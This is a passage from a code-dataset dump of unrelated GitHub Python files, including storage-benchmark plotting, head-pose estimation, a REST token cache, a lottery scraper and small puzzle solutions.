item","repo_name":"joocer/timeseries","sub_path":"timeseries/waterfall.py","file_name":"waterfall.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34976024074","text":"import sys\nimport os\nimport glob\nimport csv\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom datetime import datetime, timedelta\n\n# Define test parameters\nbs = 4\niodepth = 1\nnumjobs = 1\nstorage_classes = [\"longhorn\", \"longhorn-rwx\"]\n\n# Define directories\nmain_dir = \"/Users/saravallero/Work/test-storage/repeated-tests/repeated-tests-output\" # where fio outputs are stored\nplot_dir = \"/Users/saravallero/Work/test-storage/repeated-tests/repeated-tests-plots\" # where plots will be stored\n\n# Define plot parameters\nscale_dict = {\"lat\": 1.e-6, \"bw\": 1} # units\nstep = 1 # plot 1 point every N points\nnstart = 0 # start point\nnstop = 2000 # stop point\n\n# Parameters for aesthetic purposes\naesthetics = {\n \"longhorn\": {\n \"marker\": \"D\",\n \"color\": \"green\",\n },\n \"longhorn-rwx\": {\n \"marker\": \"s\",\n \"color\": \"red\",\n },\n \"native_storage\": {\n \"marker\": \"o\",\n \"color\": \"blue\",\n },\n}\n\n# Timezone for datetime conversion\ntimezone = timedelta(hours=0) # Add a time offset\n\nif __name__ == \"__main__\":\n\n # Create plots directory if it does not exist\n if not os.path.exists(plot_dir):\n os.mkdir(plot_dir)\n\n # Iterate over modes\n for rw in [\"randread\", \"randwrite\"]:\n\n # Iterate over file systems\n for dev in storage_classes:\n\n print(\"\\n#### Working on %s %s...\" % (dev, rw))\n\n # Define output dictionary\n output_dict = {\"time\": [],\n \"lat\": {\"median\": [], \"uplim\": [], \"lowlim\": []},\n \"bw\": {\"median\": [], \"uplim\": [], \"lowlim\": []}}\n\n # Iterate over variable\n for dtype in [\"lat\", \"bw\"]:\n\n # Find directories containing data\n query = os.path.join(main_dir, dev + \"-2*\")\n dirlist = sorted(glob.glob(query))\n\n # Iterate over directories and store datetime\n dt_array = np.array([])\n dt_string_array = []\n for datadir in dirlist:\n dt_string = datadir[-19:]\n dt = datetime.strptime(dt_string, '%Y-%m-%d-%H-%M-%S')\n print(dt)\n\n # Read all lat/bw output files inside the directory\n query = os.path.join(datadir, \"%s-iodepth-%d-numjobs-%d_%s.*.log\" % (rw, iodepth, numjobs, dtype))\n flist = glob.glob(query)\n data = []\n for filename in flist:\n path = os.path.join(filename)\n with open(path) as logfile:\n csv_reader = csv.reader(logfile, delimiter=\",\")\n for row in csv_reader:\n data.append(float(row[1]))\n\n # Estimate quantiles\n try:\n median = np.median(data)\n uplim = np.quantile(data, 0.16)\n lowlim = np.quantile(data, 0.84)\n output_dict[dtype][\"median\"].append(median)\n output_dict[dtype][\"uplim\"].append(uplim)\n output_dict[dtype][\"lowlim\"].append(lowlim)\n except:\n print(\" Unable to estimate percentiles. Skip...\")\n output_dict[dtype][\"median\"].append(np.nan)\n output_dict[dtype][\"uplim\"].append(np.nan)\n output_dict[dtype][\"lowlim\"].append(np.nan)\n\n dt_array = np.append(dt_array, dt + timezone)\n dt_string_array.append(dt_string)\n\n output_dict[\"time\"] = dt_string_array\n\n # Save data to json\n json_outfile = os.path.join(plot_dir, \"%s_rw-%s_data.json\" % (dev, rw))\n with open(json_outfile, \"w\") as jfile:\n json.dump(output_dict, jfile)\n\n # Create selection mask\n mask = []\n for j in range(len(dt_array)):\n if j in range(nstart, nstop) and j % step == 0:\n mask.append(True)\n else:\n mask.append(False)\n dt_array = dt_array[mask]\n\n # Init figure\n fig = plt.figure(figsize=(10, 7))\n\n # Plot latency\n ax1 = fig.add_subplot(2, 1, 1)\n ax1.set_ylabel(\"Latency (ms)\")\n ax1.set_xticklabels([])\n median = np.array(output_dict[\"lat\"][\"median\"])[mask] * scale_dict[\"lat\"]\n uperr = np.array(output_dict[\"lat\"][\"uplim\"])[mask] * scale_dict[\"lat\"] - median\n lowerr = median - np.array(output_dict[\"lat\"][\"lowlim\"])[mask] * scale_dict[\"lat\"]\n ax1.errorbar(dt_array, median, (lowerr, uperr), ls=\"\", marker=\".\", ms=10, capsize=0, color=\"blue\")\n\n # Plot bandwidth\n ax2 = fig.add_subplot(2, 1, 2)\n ax2.set_xlabel(\"Time (CEST)\")\n ax2.set_ylabel(\"Bandwidth (KiB/s)\")\n median = np.array(output_dict[\"bw\"][\"median\"])[mask] * scale_dict[\"bw\"]\n uperr = np.array(output_dict[\"bw\"][\"uplim\"])[mask] * scale_dict[\"bw\"] - median\n lowerr = median - np.array(output_dict[\"bw\"][\"lowlim\"])[mask] * scale_dict[\"bw\"]\n ax2.errorbar(dt_array, median, (lowerr, uperr), ls=\"\", marker=\".\", ms=10, capsize=0, color=\"orange\")\n\n # Aesthetics and datetime formatting\n for ax in [ax1, ax2]:\n ax.xaxis.set_major_locator(mdates.DayLocator(interval=1))\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%b %d %H:%M'))\n ax.xaxis.set_minor_locator(mdates.HourLocator(byhour=range(0, 24, 6)))\n ax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\n ax.grid(ls=':', which='both')\n ax1.set_xticklabels([])\n plt.setp(ax2.xaxis.get_minorticklabels(), rotation=45, ha='right')\n plt.setp(ax2.xaxis.get_majorticklabels(), rotation=45, ha='right')\n plt.tight_layout(rect=[0, 0, 1, 0.95])\n plt.subplots_adjust(hspace=0)\n plt.suptitle(\"%s | rw %s | bs %dk | iodepth %d | numjobs %d\" % (dev, rw, bs, iodepth, numjobs),\n fontsize=\"large\")\n\n # Save figure\n outfile = \"%s_rw-%s_start-%s_stop-%s.png\" % (\n dev, rw, dt_string_array[0], dt_string_array[-1])\n print(outfile)\n plt.savefig(os.path.join(plot_dir, outfile))\n plt.clf()\n\n ###################################################################################\n\n print(\"Producing comparison plots...\")\n\n # Iterate over modes\n for rw in [\"randread\", \"randwrite\"]:\n\n # Figure with comparison bwtween storage classes\n fig = plt.figure(figsize=(10, 6))\n ax = fig.add_subplot(1, 1, 1)\n ax.set_xlabel(\"Time (CEST)\")\n ax.set_ylabel(\"Latency (ms)\")\n ax.grid(ls=':', which='both')\n ax.set_yscale(\"log\")\n\n # Iterate over file systems\n for dev in storage_classes:\n\n # Open json\n json_outfile = os.path.join(plot_dir, \"%s_rw-%s_data.json\" % (dev, rw))\n with open(json_outfile, \"r\") as jfile:\n data = json.load(jfile)\n\n # Create selection mask\n dt_string_array = np.array(data[\"time\"])\n mask = []\n for j in range(len(dt_string_array)):\n if j in range(nstart, nstop) and j % step == 0:\n mask.append(True)\n else:\n mask.append(False)\n dt_string_array = dt_string_array[mask]\n\n # Convert to datetime format\n dt_array = np.array([])\n for dt_string in dt_string_array:\n dt = datetime.strptime(dt_string, '%Y-%m-%d-%H-%M-%S')\n dt_array = np.append(dt_array, dt + timezone)\n\n # Estimate and plot error bars\n median = np.array(data[\"lat\"][\"median\"])[mask] * scale_dict[\"lat\"]\n uperr = np.array(data[\"lat\"][\"uplim\"])[mask] * scale_dict[\"lat\"] - median\n lowerr = median - np.array(data[\"lat\"][\"lowlim\"])[mask] * scale_dict[\"lat\"]\n ax.errorbar(dt_array, median, (lowerr, uperr), ls=\"\", marker=aesthetics[dev][\"marker\"],\n ms=10, capsize=0, color=aesthetics[dev][\"color\"], label=dev)\n\n # Aesthetics and datetime formatting\n ax.set_xticklabels([])\n ax.xaxis.set_major_locator(mdates.DayLocator(interval=1))\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%b %d %H:%M'))\n ax.xaxis.set_minor_locator(mdates.HourLocator(byhour=range(0, 24, 6)))\n ax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\n plt.setp(ax.xaxis.get_minorticklabels(), rotation=45, ha='right')\n plt.setp(ax.xaxis.get_majorticklabels(), rotation=45, ha='right')\n\n # Other aesthetics\n plt.legend(loc=9, shadow=True)\n plt.tight_layout(rect=[0, 0, 1, 0.95])\n plt.subplots_adjust(hspace=0)\n plt.suptitle(\"rw %s | bs %dk | iodepth %d | numjobs %d\" % (rw, bs, iodepth, numjobs), fontsize=\"large\")\n\n # Save figure\n outfile = \"comparison_rw-%s_start-%s_stop-%s.png\" % (\n rw, dt_array[0], dt_array[-1])\n print(outfile)\n plt.savefig(os.path.join(plot_dir, outfile))\n plt.clf()\n","repo_name":"svallero/test-storage","sub_path":"repeated-tests/plot_results_new.py","file_name":"plot_results_new.py","file_ext":"py","file_size_in_byte":9438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23443526091","text":"import ast\nfrom typing import Dict, List, Optional, Tuple, Type\n\nfrom dataframe_expressions import ast_DataFrame\n\n\ndef _find_dataframes(a: ast.AST) -> ast_DataFrame:\n 'Find the asts that represent dataframes. Limit to one or failure for now'\n class df_scanner(ast.NodeVisitor):\n def __init__(self):\n self.found_frames: List[ast_DataFrame] = []\n\n def visit_ast_DataFrame(self, a: ast_DataFrame):\n self.found_frames.append(a)\n\n scanner = df_scanner()\n scanner.visit(a)\n assert len(scanner.found_frames) > 0, 'All expressions must start with a dataframe'\n assert all(f == scanner.found_frames[0] for f in scanner.found_frames), \\\n 'Only a single dataframe is supported in any expression'\n return scanner.found_frames[0]\n\n\n# Counter to help keep variable names unique.\n_var_name_counter = 1\n\n\ndef reset_new_var_counter():\n global _var_name_counter\n _var_name_counter = 1\n\n\ndef new_var_name():\n '''\n Returns the string for a new variable name. Each one is unique.\n '''\n global _var_name_counter\n assert _var_name_counter < 10000\n v = f'e{_var_name_counter:04}'\n _var_name_counter = _var_name_counter + 1\n return v\n\n\ndef new_term(t: Type):\n 'Return a new term of type t with a random name'\n from .render import term_info\n return term_info(new_var_name(), t)\n\n\ndef to_ast(o: object) -> ast.AST:\n '''\n Convert an object to an ast\n '''\n r = ast.parse(str(o)).body[0]\n assert isinstance(r, ast.Expr)\n return r.value # NOQA\n\n\ndef to_object(a: ast.AST) -> Optional[object]:\n return ast.literal_eval(a)\n\n\ndef to_args_from_keywords(kws: List[ast.keyword]) -> Dict[str, Optional[object]]:\n '''\n Given keywords return a dict of those ast's converted to something useful.\n '''\n return {k.arg: to_object(k.value) for k in kws if isinstance(k.arg, str)}\n\n\ndef _find_root_expr(expr: ast.AST, possible_root: ast.AST) -> Optional[ast.AST]:\n '''\n Look to see if we can find the root expression for this ast. It will either be `a` or\n it will be an `ast_DataFrame` - return whichever one it is.\n\n Arguments:\n expr Expression to find a root\n possible_root Root\n\n Result:\n expr First hit in the standard ast.NodeVisitor algorithm that is\n either the a object or an instance of type `ast_DataFrame`.\n\n ## Notes:\n\n Logic is a bit subtle. Say that `possible_root` is df.jets.\n\n df.jets.pt --> df.jets\n df.eles.pt --> df\n sin(df.jets.pt) --> df.jets\n df.eles.DeltaR(df.jets) --> df\n\n '''\n class root_finder(ast.NodeVisitor):\n def __init__(self, possible_root: ast.AST):\n ast.NodeVisitor.__init__(self)\n self._possible = possible_root\n self.found: Optional[ast.AST] = None\n\n def visit(self, a: ast.AST):\n if a is self._possible:\n if self.found is None:\n self.found = a\n elif isinstance(a, ast_DataFrame):\n self.found = a\n else:\n ast.NodeVisitor.visit(self, a)\n\n r = root_finder(possible_root)\n r.visit(expr)\n return r.found\n\n\ndef _parse_elements(s: str) -> List[str]:\n '''\n Return comma separated strings at the top level\n '''\n if s[0] != '(' and s[1] != ')':\n return [s]\n\n def parse_for_commas(part_list: str) -> Tuple[List[int], int]:\n result = []\n\n ignore_before = 0\n for i, c in enumerate(part_list):\n if i >= ignore_before:\n if c == ',':\n result.append(i + 1)\n if c == ')':\n return result, i + 1\n if c == '(':\n r, pos = parse_for_commas(part_list[i + 1:])\n ignore_before = i + pos + 1\n\n return result, len(part_list)\n\n commas, _ = parse_for_commas(s[1:-1])\n bounds = [1] + [c + 1 for c in commas] + [len(s)]\n segments = [s[i:j - 1] for i, j in zip(bounds, bounds[1:])]\n\n return segments\n\n\ndef _index_text_tuple(s: str, index: int) -> str:\n '''\n If s is a tuple, then return the index'th item\n '''\n splits = _parse_elements(s)\n if len(splits) == 1:\n return f'{s}[{index}]'\n\n if len(splits) < index:\n raise Exception(f'Internal Error: attempt to index tuple fail: {s} - index {index}')\n\n return splits[index]\n\n\ndef _is_list(t: Type) -> bool:\n return t.__origin__ is list if not isinstance(t, type) else False # type: ignore\n\n\ndef _unwrap_list(t: Type) -> Type:\n assert _is_list(t)\n return t.__args__[0]\n\n\ndef _unwrap_if_possible(t: Type) -> Type:\n if _is_list(t):\n return _unwrap_list(t)\n return t\n\n\ndef _same_generic_type(t1: Type, t2: Type) -> bool:\n from typing import _GenericAlias # type: ignore\n if not isinstance(t1, _GenericAlias) or not isinstance(t2, _GenericAlias):\n return False\n\n if t1.__origin__ != t2.__origin__:\n return False\n\n if len(t1.__args__) != len(t2.__args__):\n return False\n\n return True\n\n\ndef _is_of_type(t1: Type, t2: Type) -> bool:\n '''\n Returns true if t1 is of type t2\n '''\n if t1 == t2:\n return True\n\n if t2 == object and not _is_list(t1):\n return True\n\n if not _same_generic_type(t1, t2):\n return False\n\n for a_t1, a_t2 in zip(t1.__args__, t2.__args__):\n if not _is_of_type(a_t1, a_t2):\n return False\n\n return True\n\n\ndef _type_replace(source_type: Type, find: Type, replace: Type) -> Optional[Type]:\n '''\n Find `find` as deeply in `source_type` as possible, and replace it with `replace'.\n\n `_type_replace(List[List[float]], List[object], int) -> List[int]`\n\n If source_type contains no `find`, then return None\n '''\n from typing import _GenericAlias # type: ignore\n if isinstance(source_type, _GenericAlias):\n if source_type._name == 'List':\n r = _type_replace(source_type.__args__[0], find, replace)\n if r is not None:\n return List[r]\n\n if _is_of_type(source_type, find):\n return replace\n\n return None\n\n\ndef _count_list(t: Type) -> int:\n 'Count number of List in a nested List'\n from typing import _GenericAlias # type: ignore\n if not isinstance(t, _GenericAlias):\n return 0\n\n if t._name != 'List':\n return 0\n\n return 1 + _count_list(t.__args__[0])\n","repo_name":"gordonwatts/hep_tables","sub_path":"hep_tables/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"20817042293","text":"'''\n This part of code is completely copied from a youtuber's tutorial.\n ref link: https://github.com/niconielsen32/ComputerVision/blob/master/headPoseEstimation.py\n'''\nimport cv2\nimport mediapipe as mp\nimport numpy as np\nimport time\n\nimport torch\n\nmp_face_mesh = mp.solutions.face_mesh\nface_mesh = mp_face_mesh.FaceMesh(min_detection_confidence=0.5, min_tracking_confidence=0.5)\n\nmp_drawing = mp.solutions.drawing_utils\n\ndrawing_spec = mp_drawing.DrawingSpec(thickness=1, circle_radius=1)\n\n# cap = cv2.VideoCapture(0)\n#\n# while cap.isOpened():\n# success, image = cap.read()\n#\n# start = time.time()\n#\n# # Flip the image horizontally for a later selfie-view display\n# # Also convert the color space from BGR to RGB\n# image = cv2.cvtColor(cv2.flip(image, 1), cv2.COLOR_BGR2RGB)\n#\n# # To improve performance\n# image.flags.writeable = False\n#\n# # Get the result\n# results = face_mesh.process(image)\n#\n# # To improve performance\n# image.flags.writeable = True\n#\n# # Convert the color space from RGB to BGR\n# image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n#\n# img_h, img_w, img_c = image.shape\n# face_3d = []\n# face_2d = []\n#\n# if results.multi_face_landmarks:\n# for face_landmarks in results.multi_face_landmarks:\n# for idx, lm in enumerate(face_landmarks.landmark):\n# if idx == 33 or idx == 263 or idx == 1 or idx == 61 or idx == 291 or idx == 199:\n# if idx == 1:\n# nose_2d = (lm.x * img_w, lm.y * img_h)\n# nose_3d = (lm.x * img_w, lm.y * img_h, lm.z * 3000)\n#\n# x, y = int(lm.x * img_w), int(lm.y * img_h)\n#\n# # Get the 2D Coordinates\n# face_2d.append([x, y])\n#\n# # Get the 3D Coordinates\n# face_3d.append([x, y, lm.z])\n#\n# # Convert it to the NumPy array\n# face_2d = np.array(face_2d, dtype=np.float64)\n#\n# # Convert it to the NumPy array\n# face_3d = np.array(face_3d, dtype=np.float64)\n#\n# # The camera matrix\n# focal_length = 1 * img_w\n#\n# cam_matrix = np.array([[focal_length, 0, img_h / 2],\n# [0, focal_length, img_w / 2],\n# [0, 0, 1]])\n#\n# # The distortion parameters\n# dist_matrix = np.zeros((4, 1), dtype=np.float64)\n#\n# print(\"The shape of camera matrix is: \" + str(cam_matrix.shape))\n# print(\"********** camera matrix *********\")\n# print(cam_matrix)\n#\n# # Solve PnP\n# success, rot_vec, trans_vec = cv2.solvePnP(face_3d, face_2d, cam_matrix, dist_matrix)\n#\n# print(\"The shape of trans_vec is: \" + str(trans_vec.shape))\n# print(\"********** translation vector *********\")\n# print(trans_vec)\n#\n# # Get rotational matrix\n# rmat, jac = cv2.Rodrigues(rot_vec)\n#\n# # Get angles\n# angles, mtxR, mtxQ, Qx, Qy, Qz = cv2.RQDecomp3x3(rmat)\n#\n# # Get the y rotation degree\n# x = angles[0] * 360\n# y = angles[1] * 360\n# z = angles[2] * 360\n#\n# # See where the user's head tilting\n# if y < -10:\n# text = \"Looking Left\"\n# elif y > 10:\n# text = \"Looking Right\"\n# elif x < -10:\n# text = \"Looking Down\"\n# elif x > 10:\n# text = \"Looking Up\"\n# else:\n# text = \"Forward\"\n#\n# # Display the nose direction\n# nose_3d_projection, jacobian = cv2.projectPoints(nose_3d, rot_vec, trans_vec, cam_matrix, dist_matrix)\n#\n# p1 = (int(nose_2d[0]), int(nose_2d[1]))\n# p2 = (int(nose_2d[0] + y * 10), int(nose_2d[1] - x * 10))\n#\n# cv2.line(image, p1, p2, (255, 0, 0), 3)\n#\n# # Add the text on the image\n# cv2.putText(image, text, (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 2)\n# cv2.putText(image, \"x: \" + str(np.round(x, 2)), (500, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n# cv2.putText(image, \"y: \" + str(np.round(y, 2)), (500, 100), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n# cv2.putText(image, \"z: \" + str(np.round(z, 2)), (500, 150), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n#\n# end = time.time()\n# totalTime = end - start\n#\n# fps = 1 / totalTime\n# # print(\"FPS: \", fps)\n#\n# cv2.putText(image, f'FPS: {int(fps)}', (20, 450), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (0, 255, 0), 2)\n#\n# mp_drawing.draw_landmarks(\n# image=image,\n# landmark_list=face_landmarks,\n# connections=mp_face_mesh.FACEMESH_CONTOURS,\n# landmark_drawing_spec=drawing_spec,\n# connection_drawing_spec=drawing_spec)\n#\n# cv2.imshow('Head Pose Estimation', image)\n#\n# if cv2.waitKey(5) & 0xFF == 27:\n# break\n#\n# cap.release()\n\n\ndef head_pose_estimation(imgs, source=True):\n\n # Initialize the return variable.\n batch = imgs.size(0)\n res = np.zeros((imgs.size(0), 3, 3))\n print(res.shape)\n\n # Convert tensor to np.array\n imgs = imgs.numpy()\n\n for i in range(batch):\n img = imgs[i].astype(np.uint8)\n print(\"img shape in head_pose is :\" + str(img.shape))\n print(img)\n\n image = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n # To improve performance\n image.flags.writeable = False\n\n # Get the result\n results = face_mesh.process(image)\n\n # To improve performance\n image.flags.writeable = True\n\n # Convert the color space from RGB to BGR\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n img_h, img_w, img_c = image.shape\n face_3d = []\n face_2d = []\n\n if results.multi_face_landmarks:\n for face_landmarks in results.multi_face_landmarks:\n for idx, lm in enumerate(face_landmarks.landmark):\n if idx == 33 or idx == 263 or idx == 1 or idx == 61 or idx == 291 or idx == 199:\n if idx == 1:\n nose_2d = (lm.x * img_w, lm.y * img_h)\n nose_3d = (lm.x * img_w, lm.y * img_h, lm.z * 3000)\n\n x, y = int(lm.x * img_w), int(lm.y * img_h)\n\n # Get the 2D Coordinates\n face_2d.append([x, y])\n\n # Get the 3D Coordinates\n face_3d.append([x, y, lm.z])\n\n # Convert it to the NumPy array\n face_2d = np.array(face_2d, dtype=np.float64)\n\n # Convert it to the NumPy array\n face_3d = np.array(face_3d, dtype=np.float64)\n\n # The camera matrix\n focal_length = 1 * img_w\n\n cam_matrix = np.array([[focal_length, 0, img_h / 2],\n [0, focal_length, img_w / 2],\n [0, 0, 1]])\n\n # The distortion parameters\n dist_matrix = np.zeros((4, 1), dtype=np.float64)\n\n # Solve PnP\n success, rot_vec, trans_vec = cv2.solvePnP(face_3d, face_2d, cam_matrix, dist_matrix)\n\n # Get rotational matrix\n rmat, jac = cv2.Rodrigues(rot_vec)\n\n # Generate the homography matrix H = I @ [R|t]\n # where we only extract the first two columns of R\n # in order to keep the output size of trans_mat (3,3)\n # ref link: https://towardsdatascience.com/estimating-a-homography-matrix-522c70ec4b2c\n R_t = np.concatenate((rmat[:, 0:2], trans_vec), axis=1)\n trans_mat = cam_matrix.dot(R_t)\n print(trans_mat.shape)\n\n if source:\n res[i] = np.linalg.inv(trans_mat).copy()\n else:\n res[i] = trans_mat.copy()\n\n return torch.Tensor(res)","repo_name":"Kevinfringe/MegaPortrait","sub_path":"HeadPoseEstimation.py","file_name":"HeadPoseEstimation.py","file_ext":"py","file_size_in_byte":8176,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"48"} +{"seq_id":"38153839435","text":"import numpy as np\nfrom netCDF4 import Dataset\n\ndef mask_rx1(grid_file,rx1_file,rx1_max):\n \n id = Dataset(rx1_file,'r')\n rx1 = id.variables['rx1'][:,:]\n id.close()\n\n id = Dataset(grid_file,'a')\n mask_old = id.variables['mask_rho'][:,:]\n mask_new = mask_old.copy()\n nbModif = 0\n\n# for point in np.nditer(mask_old,op_flags=['readwrite']):\n# if rx1[point.index]>rx1_max:\n# point[...]=1\n for iEta in range(np.size(mask_old,0)):\n for iXi in range(np.size(mask_old,1)):\n if (rx1[iEta,iXi]>rx1_max):\n mask_new[iEta,iXi] = 0\n nbModif += 1\n\n print(' nbModif=', nbModif)\n \n id.variables['mask_rho'][:,:]= mask_new\n id.close()# Command-line interface\nif __name__ == \"__main__\":\n\n grid_file='/home/ubuntu/bigStick/waom10Grids/sledge_grd.nc'\n rx1_file='/home/ubuntu/bigStick/waom10Grids/rx1Smooth.nc'\n rx1_max = 70.0\n\n mask_rx1(grid_file,rx1_file,rx1_max) \n","repo_name":"kuechenrole/waom_tools","sub_path":"mask_rx1max.py","file_name":"mask_rx1max.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"43993799781","text":"import json\nimport time\n\nimport olympus.restapi as restapi\n\nfrom olympus import USER\n\n\nclass Connection(restapi.Connection):\n\n def __init__(self, provider_name, username=USER, **kwargs):\n super(Connection, self).__init__(username, **kwargs)\n self.provider = provider_name\n self.verbose = kwargs.get('verbose', False)\n self.provider_lockfile = (self.lockfile_directory() +\n 'token.' +\n provider_name +\n '.pid')\n\n def access_key(self): # noqa: F403\n\n # 1. Current object instance has valid api key?\n\n if (hasattr(self, 'token') and\n hasattr(self, 'expiration') and\n int(self.expiration) < int(time.time()) + 30):\n return self.token\n\n # 2. Current and valid access token in redis?\n\n redis_client = self.client()\n redis_stored_tokens = redis_client.hgetall(\n 'user:' +\n self.username +\n ':securities:equities:token:' +\n self.provider)\n if redis_stored_tokens is not None:\n if ('expiration' in redis_stored_tokens and\n (int(redis_stored_tokens['expiration']) >\n int(time.time()) + 30)):\n for key in redis_stored_tokens:\n if (key == 'dataSource' or key == 'message'):\n continue\n setattr(self, key, redis_stored_tokens[key])\n return self.token\n\n # 3. Refresh/create via restapi query\n\n lockfilehandle = self._lock(self.provider_lockfile)\n try:\n response = self.call('/token/equities/' + self.provider + '/')\n content = json.loads(response.content)\n if (response.status_code != 200):\n lockfilehandle.close()\n raise Exception('Restapi connection failed: ' +\n content['message'])\n key_found = False\n for key in content:\n if (key == 'dataSource' or key == 'message'):\n continue\n if (key == 'expiration'):\n key_found = True\n redis_client.hset('user:' +\n self.username +\n ':securities:equities:token:' +\n self.provider,\n key,\n content[key])\n setattr(self, key, content[key])\n if (not key_found):\n\n # Set a one-week default expiration if none defined\n\n redis_client.hset('user:' +\n self.username +\n ':securities:equities:token:' +\n self.provider,\n 'expiration',\n int(time.time()) + 604800)\n setattr(self, 'expiration', int(time.time()) + 604800)\n lockfilehandle.close()\n except Exception:\n lockfilehandle.close()\n raise\n return self.token\n","repo_name":"AlexandreDdaCosta/olympus","sub_path":"core/lib/securities/equities/data/provider.py","file_name":"provider.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5922985732","text":"import requests\nimport random\nfrom bs4 import BeautifulSoup\n\n\n\ndef extract_num(no):\n result = requests.get(f\"https://www.dhlottery.co.kr/gameResult.do?method=byWin&drwNo={no}\")\n soup = BeautifulSoup(result.text,\"html.parser\")\n win_num = soup.find(\"div\", {\"class\":\"num win\"}).find_all(\"span\")\n\n win = []\n for i in win_num:\n win.append(int(i.string))\n print(win)\n print(no)\n\ndef select_num():\n arr = []\n while(len(arr)<6):\n num = random.randrange(1,45)\n if(num in arr):\n continue\n else:\n arr.append(num)\n return arr\n\ndef get_nums():\n jobs = []\n nums = []\n temp =[]\n for i in range(1,908):\n print(\"haha\")\n temp = extract_num(i)\n if(temp in jobs):\n nums.append(temp)\n else:\n jobs.append(extract_num(i))\n return jobs\n\ndef my_choice():\n total_num = get_nums()\n arr = []\n temp = []\n while(len(arr)<5):\n temp = select_num()\n if(temp in total_num):\n continue\n else:\n arr.append(temp)\n return arr","repo_name":"right-x2/Lotto","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23200323110","text":"import pygame\nfrom pygame.locals import RLEACCEL\nfrom board_config import board\n\nclass Box(pygame.sprite.Sprite):\n def __init__(self,x,y):\n super(Box,self).__init__()\n self.blockSize = 90\n self.rect = pygame.Rect((x*self.blockSize)+40, (y*self.blockSize)+40,self.blockSize, self.blockSize)\n self.row = x\n self.col = y\n \n def __hash__(self):\n return int(str(self.row)+str(self.col))\n\nclass Board(pygame.sprite.Sprite):\n\n def __init__(self):\n super(Board,self).__init__()\n\n # self.surf = pygame.image.load(\"asset/download.png\").convert()\n # self.surf.set_colorkey((255, 255, 255), RLEACCEL)\n # self.surf_rect = self.surf.get_rect()\n\n # self.win = win\n self.board = board\n\n self.board_view = dict()\n\n for x in range(8):\n for y in range(8):\n # rect = pygame.Rect((x*blockSize)+40, (y*blockSize)+40,blockSize, blockSize)\n # rect.row , rect.col = x , y\n # rect.__repr__ = lambda self: (self.row,self.col)\n self.board_view.setdefault(Box(x,y),board[y][x])\n print(self.board_view)\n print(\"bo\")\n\n # def draw_board(self):\n # self.win.blit(self.surf, (35,35))\n\nBoard()","repo_name":"aaryanDhakal22/Chess","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72933766545","text":"trout = int(input())\npike = int(input())\npickerel = int(input())\ntotalPts = int(input())\n\nmaxTrout = totalPts // trout\nmaxPike = totalPts // pike\nmaxPickerel = totalPts // pickerel\n\ncountTrout = 0\ncountPike = 0\ncountPickerel = 0\ncount = 0\n\nfor i in range(maxTrout+1):\n\n for j in range(maxPike+1): \n\n for k in range(maxPickerel+1):\n\n if i == j and j == k:\n continue\n\n else:\n if (i*trout) + (j*pike) + (k*pickerel) <= totalPts:\n print(i,'Brown Trout',j,'Northern pIke',k,'Yellow Pickerel')\n\n count += 1\n\nprint('Number of ways to catch fish: ', count)","repo_name":"Danh295/CCC_PythonSolutions","sub_path":"2009 Junior/09J2_OldFishinHole.py","file_name":"09J2_OldFishinHole.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40754386171","text":"class Solution:\n mylist = []\n def serialize(self, arr):\n serial = \"\"\n for n, s in enumerate(list(arr)):\n self.mylist.append(len(s))\n serial += s\n return serial\n\n def deserialize(self, mystr):\n deserial = []\n for n, nn in enumerate(self.mylist):\n deserial.append(mystr[:nn])\n mystr = mystr[nn:]\n return deserial\n\nmystr = Solution().serialize([\"a\",\"\",\"bc,\",\"d\"])\narr = Solution().deserialize(mystr)\nprint(mystr)\nprint(arr)","repo_name":"udaykd09/Algorithms","sub_path":"SerialDeserial.py","file_name":"SerialDeserial.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"3249688023","text":"\"\"\"\nEver wonder how many vowels are in a sentence?\nNot me, but maybe you are...\n\"\"\"\nVOWEL_COUNT = 0\nVOWELS = {'a': 0, 'e': 0, 'i': 0, 'o': 0, 'u': 0}\n\nwhile True:\n try:\n STRING = input('Give the sentence you want me to count the vowels of: ')\n if len(STRING) < 1:\n raise RuntimeError\n except RuntimeError:\n print('I\\'m sorry! You must give a sentence. Please try again!\\n')\n continue\n else:\n break\n\nfor char in STRING:\n for letter in VOWELS:\n if char.lower() == letter:\n VOWELS[letter] += 1\n\n if char.lower() in VOWELS:\n VOWEL_COUNT += 1\n\nprint(f'The total number of vowels in your sentence are 